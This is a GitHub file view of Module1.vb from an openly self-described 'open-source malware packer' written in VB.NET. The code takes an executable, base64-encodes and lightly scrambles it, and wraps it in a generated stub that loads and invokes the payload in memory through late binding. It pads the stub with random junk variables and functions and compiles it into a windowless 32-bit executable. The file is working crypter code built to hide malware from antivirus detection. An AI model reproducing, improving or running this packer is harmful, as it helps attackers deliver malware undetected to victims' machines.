-
-
Notifications
You must be signed in to change notification settings - Fork 5
/
Module1.vb
115 lines (98 loc) · 5.45 KB
/
Module1.vb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
Imports System.CodeDom.Compiler
Imports System.Reflection
Imports System.IO
Imports System.Security.Cryptography
Imports System.Text
Module Module1
Sub Main()
Console.WriteLine(" .NET MalwareCryptor :: OpenSource malware packer" & vbCrLf & " https://github.com/DosX-dev/NET-MalwareCryptor" & vbCrLf)
' Checking for command line arguments
If My.Application.CommandLineArgs.Count <> 1 Then
Console.WriteLine("Invalid number of command line arguments." & vbCrLf & "Usage: ... <file>")
Exit Sub
End If
Dim filePath As String = My.Application.CommandLineArgs(0)
' Checking if the specified file exists
If Not File.Exists(filePath) Then
Console.WriteLine("The specified file does not exist.")
Exit Sub
End If
' Loading the file content
Dim fileBytes As Byte() = File.ReadAllBytes(filePath),
base64String As String = Convert.ToBase64String(fileBytes)
' Getting the assembly name without the extension
Dim assemblyName As String = Path.GetFileNameWithoutExtension(filePath),
source As String = "Imports System" & vbCrLf &
"Imports System.Reflection" & vbCrLf &
"Imports Microsoft.VisualBasic.CompilerServices" & vbCrLf &
"Imports System.Runtime.CompilerServices" & vbCrLf &
"Module Program" & vbCrLf &
"Private EP = ""EntryPoint"", INV = ""Invoke"", L = ""Load"" , N = Nothing, T = True, F = False" & vbCrLf &
GenerateJunkVariables() & vbCrLf &
"Sub Main()" & vbCrLf &
GenerateJunkVariables() & vbCrLf &
"Inject(GetStub(System.Convert.FromBase64String(""" & base64String.Replace("m", "_") & """.Replace(""_"", ""m""))))" & vbCrLf &
GenerateJunkVariables() & vbCrLf &
"End Sub" & vbCrLf &
"Sub Inject(payload As Object)" & vbCrLf &
GenerateJunkVariables() & vbCrLf &
"NewLateBinding.LateCall(NewLateBinding.LateGet(payload, N, EP, New Object(-1) {}, N, N, N), N, INV, New Object() { N, N }, N, N, N, T)" & vbCrLf &
GenerateJunkVariables() & vbCrLf &
"End Sub" & vbCrLf &
"Function GetStub(payload As Object)" & vbCrLf &
GenerateJunkVariables() & vbCrLf &
"Dim result = NewLateBinding.LateGet(N, GetType(Assembly), L, New Object() { RuntimeHelpers.GetObjectValue(payload) }, N, N, New Boolean() { T })" & vbCrLf &
GenerateJunkVariables() & vbCrLf &
"Return result" & vbCrLf &
"End Function" & vbCrLf &
GenerateJunkFunctions() & vbCrLf &
"End Module"
Dim provider As New VBCodeProvider(),
parameters As New CompilerParameters With {
.GenerateExecutable = True, ' Generating an executable file (.exe)
.OutputAssembly = assemblyName & ".crypted.exe", ' Name and path to save the executable file
.CompilerOptions = "/target:winexe /platform:x86" ' Compiler options to create a 32-bit console-less file
},
results As CompilerResults = provider.CompileAssemblyFromSource(parameters, source)
' Checking for compilation errors
If results.Errors.HasErrors Then
Console.WriteLine("Compilation error:")
For Each errorItem As CompilerError In results.Errors
Console.WriteLine($" {errorItem.Line}: {errorItem.ErrorText}")
Next
Else
Console.WriteLine("Compilation completed successfully. Created executable file '" & parameters.OutputAssembly & "'.")
End If
End Sub
Dim random As New Random()
Function GenerateJunkFunctions() As String
Dim result As New StringBuilder()
For i = 0 To random.Next(100, 200)
result.AppendLine("Function " & GenerateRandomName() & random.Next(0, 9) & "()" & vbCrLf & "End Function")
Next
Return result.ToString()
End Function
Function GenerateJunkVariables() As String
Dim result As New StringBuilder()
For i = 0 To random.Next(25, 50)
result.AppendLine("Dim " & GenerateRandomName() & " As Object = " & GetRandomArrayItem({"N", "Nothing", "T", "F", "True", "False", random.Next(-1000, 50000)}))
Next
Return result.ToString()
End Function
Function GetRandomArrayItem(Of T)(array As T()) As T
Dim randomIndex As Integer = Random.Next(0, array.Length)
Return array(randomIndex)
End Function
Function GenerateRandomName() As String
Dim builder As New StringBuilder()
Using rng As New RNGCryptoServiceProvider()
Dim bytes(3) As Byte
rng.GetBytes(bytes)
For Each b As Byte In bytes
Dim randomChar As Char = ChrW(b Mod 26 + 97)
builder.Append(randomChar)
Next
End Using
Return builder.ToString()
End Function
End Module